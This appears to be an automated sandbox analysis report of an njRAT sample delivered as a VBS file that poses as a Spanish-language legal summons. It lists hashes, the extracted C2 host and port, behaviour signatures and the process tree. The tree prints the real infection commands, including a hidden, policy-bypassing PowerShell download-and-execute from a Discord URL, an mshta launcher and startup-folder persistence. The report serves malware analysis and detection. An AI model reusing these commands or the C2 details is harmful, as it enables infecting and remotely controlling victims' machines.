njrat | 6786d7be736d7131db9aae8c1f51a2f2a86f506cebda18af9cbb8d54e51c7eb3

General

Target

Requerimiento fiscal aqui encontrara copia de la denuncia presentada en su contra NUNC SPOA.vbs
Size

826B
MD5

676950cc6c5b064bd1a75cdc8cbf4438
SHA1

7deabbeb895a1839b61b1f5a4ddbabbc5ca566b6
SHA256

6786d7be736d7131db9aae8c1f51a2f2a86f506cebda18af9cbb8d54e51c7eb3
SHA512

8a30e71961e19c033e9bb03f18f891ba4f40fb44d18f55539823f876ee38790ebd21591558e01838dc33f6f4fba405e888b5d14ce2c75104f0782e893d8f45f0

Score

10^/10

njrat nyan cat trojan

Malware Config

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

yur2021.duckdns.org:2001

Mutex

0a30571c770d468e

Attributes

reg_key
0a30571c770d468e
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 3884 powershell.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3568 set thread context of 420 3568 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings powershell.exe

flow	pid	process
6	3884	powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs	powershell.exe

description	pid	process	target process
PID 3568 set thread context of 420	3568	powershell.exe	aspnet_compiler.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exe

pid	process
3884	powershell.exe
3884	powershell.exe
3884	powershell.exe
3568	powershell.exe
3568	powershell.exe
3568	powershell.exe
3568	powershell.exe
3568	powershell.exe

Suspicious use of AdjustPrivilegeToken 29 IoCs

Processes:

powershell.exepowershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	3884	powershell.exe
Token: SeDebugPrivilege	3568	powershell.exe
Token: SeDebugPrivilege	420	aspnet_compiler.exe
Token: 33	420	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	420	aspnet_compiler.exe
Token: 33	420	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	420	aspnet_compiler.exe
Token: 33	420	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	420	aspnet_compiler.exe
Token: 33	420	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	420	aspnet_compiler.exe
Token: 33	420	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	420	aspnet_compiler.exe
Token: 33	420	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	420	aspnet_compiler.exe
Token: 33	420	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	420	aspnet_compiler.exe
Token: 33	420	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	420	aspnet_compiler.exe
Token: 33	420	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	420	aspnet_compiler.exe
Token: 33	420	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	420	aspnet_compiler.exe
Token: 33	420	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	420	aspnet_compiler.exe
Token: 33	420	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	420	aspnet_compiler.exe
Token: 33	420	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	420	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

WScript.exepowershell.exeWScript.execmd.exemshta.exepowershell.exe

description	pid	process	target process
PID 3932 wrote to memory of 3884	3932	WScript.exe	powershell.exe
PID 3932 wrote to memory of 3884	3932	WScript.exe	powershell.exe
PID 3884 wrote to memory of 1788	3884	powershell.exe	WScript.exe
PID 3884 wrote to memory of 1788	3884	powershell.exe	WScript.exe
PID 1788 wrote to memory of 2256	1788	WScript.exe	cmd.exe
PID 1788 wrote to memory of 2256	1788	WScript.exe	cmd.exe
PID 2256 wrote to memory of 2504	2256	cmd.exe	mshta.exe
PID 2256 wrote to memory of 2504	2256	cmd.exe	mshta.exe
PID 2504 wrote to memory of 3568	2504	mshta.exe	powershell.exe
PID 2504 wrote to memory of 3568	2504	mshta.exe	powershell.exe
PID 3568 wrote to memory of 3116	3568	powershell.exe	aspnet_compiler.exe
PID 3568 wrote to memory of 3116	3568	powershell.exe	aspnet_compiler.exe
PID 3568 wrote to memory of 3116	3568	powershell.exe	aspnet_compiler.exe
PID 3568 wrote to memory of 420	3568	powershell.exe	aspnet_compiler.exe
PID 3568 wrote to memory of 420	3568	powershell.exe	aspnet_compiler.exe
PID 3568 wrote to memory of 420	3568	powershell.exe	aspnet_compiler.exe
PID 3568 wrote to memory of 420	3568	powershell.exe	aspnet_compiler.exe
PID 3568 wrote to memory of 420	3568	powershell.exe	aspnet_compiler.exe
PID 3568 wrote to memory of 420	3568	powershell.exe	aspnet_compiler.exe
PID 3568 wrote to memory of 420	3568	powershell.exe	aspnet_compiler.exe
PID 3568 wrote to memory of 420	3568	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Requerimiento fiscal aqui encontrara copia de la denuncia presentada en su contra NUNC SPOA.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExEcUtIoNPoLiCy ByPAsS -wInDoWStYlE hIdDEn -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://cdn.discordapp.com/attachments/878366592180813876/884445633640034374/jai06.txt');$results
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3884
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1788
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\SystemLogin.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2256
    - - C:\Windows\system32\mshta.exe
        
        mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'"", 0:close")
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2504
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'
        6⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3568
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        7⤵
        
        PID:3116
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:420

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS

MD5
558a8b7b3fdef4ca79110f8cfd126694

SHA1
d6e96ca27f701b3f4c24885dacd14c762a9d36b0

SHA256
38c9b7098371b39e61a6dcf78370dddf47f4d2be2c32704a2a0310b76c52c0f7

SHA512
37d6d72d5f518aaf1cf37154ed75aec7c7f11677508874eb3c3cbf44ca0ebeb22112dfa5f45a2f5d821604c521092ef768016d83f948444a9ff2e2a812d1c283

Download Submit
C:\Users\Admin\AppData\Roaming\SystemLogin.bat

MD5
7f85382953fde20b101039d48673dbd2

SHA1
5ebaa67f5862b2925d9029f4761b7e2ce9a99dd9

SHA256
fde417ad1b13a97acfa8e409789a92c4c3ddf6303851337ca31b94bfac634e4f

SHA512
6e93b74237844e1f78cd3ae64c0a00702c0b1aa1febda2feb52ca99b8a58ab2efd0c7b8351f040bf56a8bc1a8f5b1f57c4a9ffed46f8a2f9cba898e8e138ce46

Download Submit
C:\Users\Public\myScript.ps1

MD5
c948ef7f14f332e896a21b0fc2900495

SHA1
6b2215da5418fb744c22d516b5da8e31673da907

SHA256
10500d843e7d385ecab54acde0839b090afff19bdcd71a47cb57ca54317c3e05

SHA512
0998cf81acbd69c1aeee7c4a7c4c4b125c673734267a3390e91f3a02761565a34e712ba3fff1632bd4a193c9a45283e0c3fa5667e9fa5a0b0ba7ec373b85450a

Download Submit
memory/420-236-0x0000000005B80000-0x0000000005B81000-memory.dmp

Filesize
4KB

Download
memory/420-235-0x0000000005F60000-0x0000000005F61000-memory.dmp

Filesize
4KB

Download
memory/420-234-0x0000000005950000-0x0000000005951000-memory.dmp

Filesize
4KB

Download
memory/420-228-0x000000000040676E-mapping.dmp

Download
memory/420-227-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/420-237-0x00000000058B0000-0x000000000594C000-memory.dmp

Filesize
624KB

Download
memory/420-238-0x0000000005B00000-0x0000000005B01000-memory.dmp

Filesize
4KB

Download
memory/1788-185-0x0000000000000000-mapping.dmp

Download
memory/2256-190-0x0000000000000000-mapping.dmp

Download
memory/2504-191-0x0000000000000000-mapping.dmp

Download
memory/3568-206-0x0000019DB7F10000-0x0000019DB7F12000-memory.dmp

Filesize
8KB

Download
memory/3568-223-0x0000019DB7F00000-0x0000019DB7F03000-memory.dmp

Filesize
12KB

Download
memory/3568-207-0x0000019DB7F13000-0x0000019DB7F15000-memory.dmp

Filesize
8KB

Download
memory/3568-194-0x0000000000000000-mapping.dmp

Download
memory/3568-214-0x0000019DB7EB0000-0x0000019DB7EB2000-memory.dmp

Filesize
8KB

Download
memory/3568-221-0x0000019DB7ED0000-0x0000019DB7ED5000-memory.dmp

Filesize
20KB

Download
memory/3568-222-0x0000019DB7F16000-0x0000019DB7F18000-memory.dmp

Filesize
8KB

Download
memory/3884-114-0x0000000000000000-mapping.dmp

Download
memory/3884-160-0x000001C4C0260000-0x000001C4C0262000-memory.dmp

Filesize
8KB

Download
memory/3884-159-0x000001C4C0346000-0x000001C4C0348000-memory.dmp

Filesize
8KB

Download
memory/3884-154-0x000001C4C25A0000-0x000001C4C25A1000-memory.dmp

Filesize
4KB

Download
memory/3884-143-0x000001C4C0290000-0x000001C4C0291000-memory.dmp

Filesize
4KB

Download
memory/3884-124-0x000001C4C0343000-0x000001C4C0345000-memory.dmp

Filesize
8KB

Download
memory/3884-123-0x000001C4C0340000-0x000001C4C0342000-memory.dmp

Filesize
8KB

Download
memory/3884-120-0x000001C4A8200000-0x000001C4A8201000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads